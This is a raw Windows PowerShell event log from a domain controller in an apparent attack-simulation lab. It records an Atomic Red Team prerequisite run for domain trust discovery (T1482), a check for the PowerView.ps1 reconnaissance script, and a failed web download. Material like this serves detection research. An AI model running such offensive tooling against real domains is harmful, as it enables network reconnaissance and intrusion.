RecordNumber=1478487
Keywords=None
Message=Started invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478486
Keywords=None
Message=Started invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478484
Keywords=None
Message=Started invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478483
Keywords=None
Message=Started invocation of ScriptBlock ID: 6486e79f-85c1-448f-a72c-cd908b7c857d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478482
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Invoke-AtomicTest T1482 -GetPrereqs
ScriptBlock ID: 6486e79f-85c1-448f-a72c-cd908b7c857d
Path:
06/15/2021 05:06:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478481
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478725
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478723
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478722
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478721
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478720
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478719
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478718
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478717
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478715
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478713
Keywords=None
Message=Completed invocation of ScriptBlock ID: ed63c229-e56a-4da8-b7eb-e58b65fe386b
Runspace ID: b507f821-e1fd-4735-be0b-0d646c7bc0c3
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478712
Keywords=None
Message=Completed invocation of ScriptBlock ID: eca2815b-bed0-4138-b375-ec995cc1b61a
Runspace ID: b507f821-e1fd-4735-be0b-0d646c7bc0c3
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 37aca944-dc14-4769-9be8-827c6a20aa92
Runspace ID: b507f821-e1fd-4735-be0b-0d646c7bc0c3
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478710
Keywords=None
Message=Started invocation of ScriptBlock ID: 37aca944-dc14-4769-9be8-827c6a20aa92
Runspace ID: b507f821-e1fd-4735-be0b-0d646c7bc0c3
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478709
Keywords=None
Message=Started invocation of ScriptBlock ID: eca2815b-bed0-4138-b375-ec995cc1b61a
Runspace ID: b507f821-e1fd-4735-be0b-0d646c7bc0c3
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478708
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}}
ScriptBlock ID: eca2815b-bed0-4138-b375-ec995cc1b61a
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478707
Keywords=None
Message=Started invocation of ScriptBlock ID: ed63c229-e56a-4da8-b7eb-e58b65fe386b
Runspace ID: b507f821-e1fd-4735-be0b-0d646c7bc0c3
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478706
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}}
ScriptBlock ID: ed63c229-e56a-4da8-b7eb-e58b65fe386b
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478705
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478704
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 4268 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478703
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478702
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478700
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa96185f-a969-4eb0-8620-1ec9990ffa42
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478699
Keywords=None
Message=Started invocation of ScriptBlock ID: aa96185f-a969-4eb0-8620-1ec9990ffa42
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478698
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?
ScriptBlock ID: aa96185f-a969-4eb0-8620-1ec9990ffa42
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478697
Keywords=None
Message=Completed invocation of ScriptBlock ID: f2f0af6f-bba5-4e15-9964-83ebb492ddea
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 0153528c-291e-46d1-9c23-eca4b32e1527
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478695
Keywords=None
Message=Completed invocation of ScriptBlock ID: fa1fa817-32fa-421f-9425-755a4634f1f5
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478694
Keywords=None
Message=Completed invocation of ScriptBlock ID: bd65515d-61c0-426c-8c16-4f58971f11fe
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478693
Keywords=None
Message=Started invocation of ScriptBlock ID: bd65515d-61c0-426c-8c16-4f58971f11fe
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478692
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: bd65515d-61c0-426c-8c16-4f58971f11fe
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 402c4d2e-7fbd-4381-8aa6-ef8c7db46cca
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478690
Keywords=None
Message=Started invocation of ScriptBlock ID: 402c4d2e-7fbd-4381-8aa6-ef8c7db46cca
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478689
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: 402c4d2e-7fbd-4381-8aa6-ef8c7db46cca
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478688
Keywords=None
Message=Completed invocation of ScriptBlock ID: 61f2483a-795e-47ba-8f6a-f2996809c7b3
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 81b002aa-31a9-4dce-9b22-d403e2e6915e
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478686
Keywords=None
Message=Completed invocation of ScriptBlock ID: 83d82015-e544-42e9-9c08-fc138ffb63b1
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478685
Keywords=None
Message=Started invocation of ScriptBlock ID: 83d82015-e544-42e9-9c08-fc138ffb63b1
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478684
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }
ScriptBlock ID: 83d82015-e544-42e9-9c08-fc138ffb63b1
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478683
Keywords=None
Message=Started invocation of ScriptBlock ID: 81b002aa-31a9-4dce-9b22-d403e2e6915e
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478682
Keywords=None
Message=Started invocation of ScriptBlock ID: 61f2483a-795e-47ba-8f6a-f2996809c7b3
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478681
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: 61f2483a-795e-47ba-8f6a-f2996809c7b3
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478680
Keywords=None
Message=Started invocation of ScriptBlock ID: fa1fa817-32fa-421f-9425-755a4634f1f5
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478679
Keywords=None
Message=Completed invocation of ScriptBlock ID: fe2536ba-2043-4365-9844-3564e3acf90f
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478678
Keywords=None
Message=Started invocation of ScriptBlock ID: fe2536ba-2043-4365-9844-3564e3acf90f
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4100
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when an exception is raised
RecordNumber=1478677
Keywords=None
Message=Error Message = The request was aborted: Could not create SSL/TLS secure channel.
Fully Qualified Error ID = WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
Context:
Severity = Warning
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
